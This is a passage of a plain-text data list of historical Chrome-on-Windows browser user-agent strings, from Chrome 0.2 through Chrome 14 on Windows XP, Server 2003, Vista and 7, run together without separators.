Chrome/4.0.209.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.0 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.4 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.0 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.7 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.3 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.4 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.288.1 Safari/532.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.2 Safari/533.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.355.0 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.356.0 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.357.0 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/533.8 (KHTML, like Gecko) Chrome/6.0.397.0 Safari/533.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.548.0 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Mozilla/5.0 (Windows U Windows NT 5.1 en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.583.0 Safari/534.12 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.599.0 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.602.0 Safari/534.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.600.0 Safari/534.14 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.19 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.682.0 Safari/534.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.724.100 Safari/534.30 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.53 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0 Safari/534.6 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.9 (KHTML, like Gecko) Chrome/7.0.531.0 Safari/534.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.16 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.16 Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.6 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.558.0 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.652.0 Safari/534.17 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.454.0 Safari/534.2 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.463.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.4 (KHTML, like Gecko) Chrome/6.0.481.0 Safari/534.4 Mozilla/5.0 (Windows; U; Windows NT 5.2; eu) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; de) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.31 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.42 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.46 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.11 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.11 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.160.0 Safari/530.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.162.0 Safari/530.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.164.0 Safari/530.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.168.0 Safari/530.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.171.0 Safari/530.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.23 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.2 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.1 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.0 Safari/531.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.3 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.220.1 Safari/532.1 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.0 Safari/532.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.224.2 Safari/532.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.241.0 Safari/532.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.5 Safari/533.2 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.127 Safari/533.4 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.8 (KHTML, like Gecko) Chrome/7.0.521.0 Safari/534.8 Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1 Mozilla/5.0 (Windows; U; Windows NT 6.0 (x86_64); de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/526.3 (KHTML, like Gecko) Chrome/14.0.564.21 Safari/526.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.9 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/1.0.156.0 Safari/528.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.191.0 Safari/531.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.3 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.4 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 